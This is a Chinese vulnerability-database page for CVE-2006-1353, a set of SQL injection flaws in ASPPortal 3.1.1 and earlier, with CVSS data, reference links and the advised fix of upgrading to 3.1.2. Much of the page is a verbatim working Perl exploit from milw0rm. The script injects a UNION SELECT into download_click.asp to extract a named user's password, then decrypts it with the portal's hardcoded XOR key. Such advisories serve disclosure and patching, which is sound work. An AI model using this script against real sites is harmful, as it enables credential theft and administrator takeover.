CVE-2006-1353
CVSS7.5
发布时间 :2006-03-21 21:02:00
修订时间 :2011-03-07 21:32:51
NMCOE    

[原文]Multiple SQL injection vulnerabilities in ASPPortal 3.1.1 and earlier allow remote attackers to execute arbitrary SQL commands via (1) the downloadid parameter in download_click.asp and (2) content_ID parameter in news/News_Item.asp; authenticated administrators can also conduct attacks via (3) user_id parameter to users/add_edit_user.asp, (4) bannerid parameter to banner_adds/banner_add_edit.asp, (5) cat_id parameter to categories/add_edit_cat.asp, (6) Content_ID parameter to News/add_edit_news.asp, (7) download_id parameter to downloads/add_edit_download.asp, (8) Poll_ID parameter to poll/add_edit_poll.asp, (9) contactid parameter to contactus/contactus_add_edit.asp, (10) sortby parameter to poll/poll_list.asp, and (11) unspecified inputs to downloads/add_edit_download.asp.


[CNNVD]ASP Portal多个SQL注入漏洞(CNNVD-200603-370)

        Multiple SQL injection vulnerabilities in ASPPortal 3.1.1 and earlier allow remote attackers to execute arbitrary SQL commands via (1) the downloadid parameter in download_click.asp and (2) content_ID parameter in news/News_Item.asp;经过身份验证的管理员也会通过以下途径实施攻击:(3)用于users/add_edit_user.asp中的user_id参数,(4) 用于banner_adds/banner_add_edit.asp中的bannerid参数,(5) 用于categories/add_edit_cat.asp中的cat_id参数,(6) 用于News/add_edit_news.asp中的Content_ID 参数,(7) 用于downloads/add_edit_download.asp中的download_id参数,(8) 用于poll/add_edit_poll.asp中的Poll_ID参数,(9) 用于contactus/contactus_add_edit.asp中的contactid 参数,(10) 用于poll/poll_list.asp中的sortby参数,和(11) 用于downloads/add_edit_download.asp中的unspecified输入。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:aspportal:aspportal:3.1.1
cpe:/a:aspportal:aspportal:3.0.0
cpe:/a:aspportal:aspportal:3.1.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1353
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1353
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-370
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1014
(UNKNOWN)  VUPEN  ADV-2006-1014
http://www.nukedx.com/?viewdoc=21
(VENDOR_ADVISORY)  MISC  http://www.nukedx.com/?viewdoc=21
http://www.milw0rm.com/exploits/1597
(UNKNOWN)  MILW0RM  1597
http://secunia.com/advisories/19286
(VENDOR_ADVISORY)  SECUNIA  19286
http://xforce.iss.net/xforce/xfdb/25346
(UNKNOWN)  XF  aspportal-multiple-aspscripts-sql-injection(25346)
http://www.securityfocus.com/bid/17174
(UNKNOWN)  BID  17174
http://www.securityfocus.com/archive/1/archive/1/428615/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060322 Re: [SPAM:] - ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities - Email has different SMTP TO: and MIME TO: fields in the email addresses
http://www.securityfocus.com/archive/1/archive/1/428355/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060321 ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities
http://www.osvdb.org/24092
(UNKNOWN)  OSVDB  24092
http://www.osvdb.org/24091
(UNKNOWN)  OSVDB  24091
http://www.osvdb.org/24090
(UNKNOWN)  OSVDB  24090
http://www.osvdb.org/24089
(UNKNOWN)  OSVDB  24089
http://www.osvdb.org/24088
(UNKNOWN)  OSVDB  24088
http://www.osvdb.org/24087
(UNKNOWN)  OSVDB  24087
http://www.osvdb.org/24086
(UNKNOWN)  OSVDB  24086
http://www.osvdb.org/24085
(UNKNOWN)  OSVDB  24085
http://www.osvdb.org/24084
(UNKNOWN)  OSVDB  24084
http://www.osvdb.org/24020
(UNKNOWN)  OSVDB  24020
http://securityreason.com/securityalert/608
(UNKNOWN)  SREASON  608
http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1431.html
(UNKNOWN)  FULLDISC  20060322 Re: [SPAM:] - ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities - Email has different SMTP TO: and MIME TO: fields in the email addresses
http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1402.html
(UNKNOWN)  FULLDISC  20060321 ASPPortal <= 3.1.1 Multiple Remote SQL Injection Vulnerabilities

- 漏洞信息

ASP Portal多个SQL注入漏洞
高危 SQL注入
2006-03-21 00:00:00 2006-03-23 00:00:00
远程  
        Multiple SQL injection vulnerabilities in ASPPortal 3.1.1 and earlier allow remote attackers to execute arbitrary SQL commands via (1) the downloadid parameter in download_click.asp and (2) content_ID parameter in news/News_Item.asp;经过身份验证的管理员也会通过以下途径实施攻击:(3)用于users/add_edit_user.asp中的user_id参数,(4) 用于banner_adds/banner_add_edit.asp中的bannerid参数,(5) 用于categories/add_edit_cat.asp中的cat_id参数,(6) 用于News/add_edit_news.asp中的Content_ID 参数,(7) 用于downloads/add_edit_download.asp中的download_id参数,(8) 用于poll/add_edit_poll.asp中的Poll_ID参数,(9) 用于contactus/contactus_add_edit.asp中的contactid 参数,(10) 用于poll/poll_list.asp中的sortby参数,和(11) 用于downloads/add_edit_download.asp中的unspecified输入。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1597)

ASPPortal <= 3.1.1 (downloadid) Remote SQL Injection Exploit (EDBID:1597)
asp webapps
2006-03-20 Verified
0 nukedx
N/A [点击下载]
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=21
#Usage: aspp.pl <host> <path> <user>
use IO::Socket;
use Math::BigInt;
if(@ARGV != 3) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-21\r\n";
  print "- ASPPortal <= 3.1.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <user>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to ASPPortal  ex: /portal/\r\n";
  print "- <user> -> Username that you want password. ex: admin\r\n";
  exit();
}
sub decrypt ()
{
  $lp = length($appass);
  $apkey = "IY/;\$>=3)?^-+7M32#Q]VOII.Q=OFMC`:P7_B;<R/8U)XFHC<SR_E\$.DLG'=I+@5%*+OP:F_=';'NSY`-^S.`AA=BJ3M0.WF#T5LGK(=/<:+C2K/^7AI\$;PU'OME2+T8ND?W\$C(J\,;631'M-LD5F%%1TF_&K2A-D-54[2P,#'*JU%6`0RF3CMF0(#T07U'FZ=>#,+.AW_/+']DIB;2DTIA57TT&-)O'/*F'M>H.XH5W^0Y*=71+5*^`^PKJ(=E/X#7A:?,S>R&T;+B#<:-*\@)X9F`_`%QA3Z95.?_T#1,\$2#FWW5PBH^*<])A(S0@AVD8C^Q0R^T1D?(1+,YE71X+.*+U\$:3XO^Q].KG&0N0];[LJ<OZ6IN?7N4<GTL?(M'4S8+3JMK5]HC%^1^+K;\\$WBXPA?F&5^E\D\$7%*O/U[1/?8(5:1OVWV*1Z-%`:K&V?X1,1KURD@3W0^D)<OG40?(VJ4EWL5A5M<\$A);CQ36R9I]*U#Q%1<Y\&SA%#1<V";
  if ($lp == 0) { die("- An error occurued\r\n"); }
  for ($i = 0; $i < $lp ; $i++) {
    $f = $lp - $i - 1; # Formula for getting character via substr...
    $n = substr($apkey,$f,1);
    $l = substr($appass,$f,1);
    $appwd = chr(ord($n)^ord($l)).$appwd;
  }
  print "- Password decrypted as: $appwd\r\n";
  print "- Lets go $aphost$apdir$apfinal for login\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $apserver = $ARGV[0];
  $apserver =~ s/(http:\/\/)//eg;
  $aphost   = "http://".$apserver;
  $apdir    = $ARGV[1];
  $apport   = "80";
  $aptar    = "content/downloads/download_click.asp?downloadid=";
  $apfinal  = "content/users/login.asp";
  $apxp     = "-1+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,password+FROM+users+where+username='$ARGV[2]'";
  $apreq    = $aphost.$apdir.$aptar.$apxp;
  #Sending data...
  header();
  print "- Trying to connect: $apserver\r\n";
  $ap = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$apserver", PeerPort => "$apport") || die "- Connection failed...\n";
  print $ap "GET $apreq HTTP/1.1\n";
  print $ap "Accept: */*\n";
  print $ap "Referer: $aphost\n";
  print $ap "Accept-Language: tr\n";
  print $ap "User-Agent: NukeZilla\n";
  print $ap "Cache-Control: no-cache\n";
  print $ap "Host: $apserver\n";
  print $ap "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$ap>) {
    if ($answer =~ /string: &quot;(.*?)&quot;]'/) {
      print "- Exploit succeed! Getting $ARGV[2]'s information\r\n";
      print "- Username: $ARGV[2]\r\n";
      print "- Decrypting password....\r\n";
      $appass = $1;
      $appass =~ s/(&quot;)/chr(34)/eg;
      $appass =~ s/(&lt;)/chr(60)/eg;
      $appass =~ s/(&gt;)/chr(62)/eg;
      $appass =~ s/(&nbsp;)/chr(32)/eg;
      decrypt();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of ASPPortal is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# milw0rm.com [2006-03-20]
		

- 漏洞信息

24020
ASP Portal download_click.asp downloadid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

ASP Portal contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the download_click.asp script not properly sanitizing user-supplied input to the 'downloadid' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-03-21 Unknow
2006-03-21 Unknow

- 解决方案

Upgrade to version 3.1.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站